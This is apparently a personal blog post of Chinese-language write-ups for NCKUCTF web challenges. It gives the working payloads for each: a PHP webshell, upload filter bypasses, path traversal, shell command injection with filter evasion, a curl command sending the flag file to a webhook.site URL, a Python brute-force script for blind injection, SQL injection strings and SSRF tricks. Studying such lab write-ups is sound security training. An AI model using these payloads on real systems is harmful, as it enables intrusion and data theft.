nckuctf_WEB_writeups

題目連結

shiba-shop

Redirect

Robots

由於題目就叫 Robots ,直接嘗試存取 robots.txt ,發現一個奇怪的路徑。

進入該路徑即獲得flag

Flag

NCKUCTF{robots.txt_M4Y_3XP053_53Cr37_P47H}

gitleak

進入網頁,發現網頁說 flag 位於 .env 中。

嘗試使用 githack 攻擊,成功獲得 .env ,內含flag

Flag

NCKUCTF{D0N7_3XP053_Y0Ur_git_F01D3r}

phpisnice

ref

進入網頁後,發現要達成輸入 A 的值與md5後的 A 值相同。

查詢 Magic Hashes,發現 0e215962017 md5 後會變成 0e291242476940776845150308577824,在弱型別比較時相同。

A 設為 0e215962017,即獲得flag。

payload:https://chall.nckuctf.org:28105/?A=0e215962017

Flag

NCKUCTF{php_15_7h3_n1c3_14n9u493}

phpisbest

進入網頁後,發現要達成輸入 A md5後的值與md5後的 B 值相同,並且AB不得相同。

由於同為弱型別比較,嘗試輸入陣列使其報錯,即可獲得 flag

payload:https://chall.nckuctf.org:28106/?A[]&B[]=lol

Flag

NCKUCTF{php_15_7h3_8357_14n9u493}

uploader

使用

1
<?php system($_GET['cmd']);?>

取得shell。

接著便可在根目錄找到flag。

Flag

NCKUCTF{w385h311_15_4_427}

uploader-waf

進入網頁發現限制有

  • Content-Type 必須為 image/png
  • 副檔名不得為 .php

副檔名限制可以用大小寫繞過(如 pHp),Content-Type可利用Burp竄改。

上傳後即可RCE,並在根目錄中找到 flag

Flag

NCKUCTF{w385h311_15_4_427_4nd_m491c}

pathwalker

進入網站後亂點,發現在 Cappo 中顯示 flag 位於 /var/www/html/flag.php ,並且沒有進行任何阻擋。

直接輸入多個 ../ ,後存取 /var/www/html/flag 即可取得 flag

payload:https://chall.nckuctf.org:28109/?page=../../../../var/www/html/flag

Flag

NCKUCTF{p47h_724v32541_15_0u2_f213nd}

pathwalker-waf

與上題相同,但新增了開頭必須是 apple|banana|cappo 的限制,直接在開頭加入任一選項即可獲得 flag

Payload:https://chall.nckuctf.org:28110/?page=apple/../../../../../../var/www/html/flag

Flag

NCKUCTF{p47h_724v32541_h45_4107_721ck}

pathwalker-waf2

pathwalker,本題僅限制會將 ../ replace 為空值,可以改為 ....// 規避。

Payload:https://chall.nckuctf.org:28142/?page=....//....//....//....//var/www/html/flag

Flag

NCKUCTF{p47h_../../../to….//….//….//}

進入後發現 nginx.conf:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
events {}

http {
server {
listen 80;
root /app;

location /static {
alias /app/static/;
}

location = /flag.txt {
deny all;
}
}
}

雖然 /flag.txt 被擋了,但可以透過 static../ 存取到 flag

payload:https://chall.nckuctf.org:28143/static../flag.txt

Flag

NCKUCTF{nginx-Off-By-Slash!}

lfi

直接存取 flag,發現會直接消失。

嘗試使用php偽協議,拿出php的原始檔,即可獲得 flag

圖片已使用d3coder解碼b64

Flag

NCKUCTF{1f1_15_7h3_900d_ch4nc3}

lfi2rce

由於已知flag在根目錄,但不知道檔名,使用<?php system('cd /;cat *|grep NCKU'); ?>找。

使用php_filter_chain_generator生成Payload,

輸入Payload後即可獲得flag。

Flag

NCKUCTF{w385h311_15_4_427}

swiri

dig

進入後發現有給我伺服器執行的指令,可以利用分號截斷先前的指令後直行我想執行的指令。

Payload:';cd /;cat /*|grep NCKU;cat'

Flag

NCKUCTF{d19_70015_15_n1c3!}

dig-waf1

由於flag被 ban 了,故嘗試使用'$(cat /fla*)',成功獲得flag。

Flag

NCKUCTF{d19_70015_15_427!}

dig-waf2

由於空格被 ban ,使用${IFS}繞過。

payload:'$(cat${IFS}/*)'

Flag

NCKUCTF{d19_70015_15_m491c!}

dig-waf3

由於 'f','l','a','g' 被 ban ,無法使用 cat ,改用 more

Payload:'$(more${IFS}/*_*)'

Flag

NCKUCTF{WOW_commandi_in_d19_70015_15_m491c!}

dig-waf4

正規解

與上題差不多,但大括號也被禁用了,不過 $IFS 一樣能被解釋為空格。

Payload:'$(more$IFS/*_*)'

非正規

直接 cat /fla* 就過了:D?

Flag

NCKUCTF{command_injection_has_somany_combinations!_udshq3}

dig-waf5

SCIST CTF的時候就打不出來了:)))))

Dig blind

進入後發現沒有任何限制,但沒有輸出。

因為沒有輸出,故嘗試將其傳送至webhook,payload如下。

Payload:$(curl -X POST -d "$(cat /fla*)" https://webhook.site/4066c5e5-efae-40da-ad4f-35ffb75f65f2)

輸入後webhook即收到flag。

Flag

NCKUCTF{d19_70015_15_n1c3_bu7_1_c4n7_s33!!}

dig blind 2

SCIST final CTF

  • 注入方式
    – 輸入' ; true # 發現回傳success,證實這種方法可以注入。

  • 尋找flag檔案
    – 在測試到' ; test -f /flag # '時伺服器回傳success,確認檔案為/flag。

  • 利用 grep 找出內容
    – 測試' ; grep '^NCKUCTF{' /flag # '回傳success,可以透過不斷測試爆破出flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import string
import sys

URL = "https://chall.nckuctf.org:28144/"

flag = "NCKUCTF{"

CHARSET = string.ascii_letters + "_}"

while True:
found_next_char = False
for char in CHARSET:
sys.stdout.write(f"Trying: {flag}{char}\r")
sys.stdout.flush()

payload = f"' ; grep '^{flag}{char}' /flag # '"

data = {
"name": payload
}

res = requests.post(URL, data=data, timeout=5)

if "<pre>success</pre>" in res.text:
flag += char
found_next_char = True
break


if not found_next_char:
break

print("\n" + "="*30)
print(f"[+] Flag: {flag}")
print("="*30)

Flag

NCKUCTF{d19_70015_15_n1c3_bu7_1_c4n7_s33!!}

dig-argument

由於可以注入參數,使用-f來讀取檔案。

Flag

NCKUCTF{y0u_4r3_7h3_4r6um3n7_1nj3c710n_m4573r}

login

進入後發現他有給我sql語法。

由於username的查詢有用括號開頭,故結尾也要填入括號。

payload:

1
2
account:admin')--
password:any

Flag

NCKUCTF{SQL1nj3c710n_1s_S0_l33t}

Let me in

查看 source code ,發現伺服器未對使用者輸入進行驗證,故可用最基本的 ' OR '1'='1 繞過。

Flag

NCKUCTF{OKAY_U_R_IN}

Let me in REVENGE

查看 source code ,發現伺服器會先向資料庫請求username的資料,再依據其回傳資料於php中比對密碼,故使用 UNION 竄改回應內容,再依據回應內容輸入密碼。

Payload:

1
2
Username: ' UNION SELECT 1,'admin','aaa' --
Password: aaa
Flag

NCKUCTF{OKAY_YOURE_IN_AGAIN}

sqli unoin

進入後發現 flag 位於table: flags;column: flag_value 中。

利用 UNION 繞過原資料庫並回傳flag內容。

Payload:id=-1 UNION SELECT 1, 2, flag_value FROM flags

Flag

NCKUCTF{UNION_SELECT_FOO_FROM_BAR}

sqli union REVENGE

感覺炸了 跟上題一樣 flag也錯:)。

SSRF1

題目 Ban 很多 localhost 的IP,但沒 ban 0.0.0.0。

Payload:http://0.0.0.0/internal-only

Flag

NCKUCTF{55rf_15_1n7r4n37_k1ll3r!}

SSRF2

由於原始碼中限制 /internal-only 只能透過內往存取。

/mkreq只能前往httpbin.dev開頭的網站,故嘗試使用httpbin.dev的重導向服務,重導向至http://127.0.0.1/internal-only

payload:https://httpbin.dev/redirect-to?url=http://127.0.0.1/internal-only

Flag

NCKUCTF{y0u_4r3_r34lly_4_55rf_0p3n_r3d1r3c7_m4573r}

SSRF3


nckuctf_WEB_writeups
https://marskung.github.io/nckuctf-WEB-writeups/
作者
Mars Kung
發布於
2025年8月11日
許可協議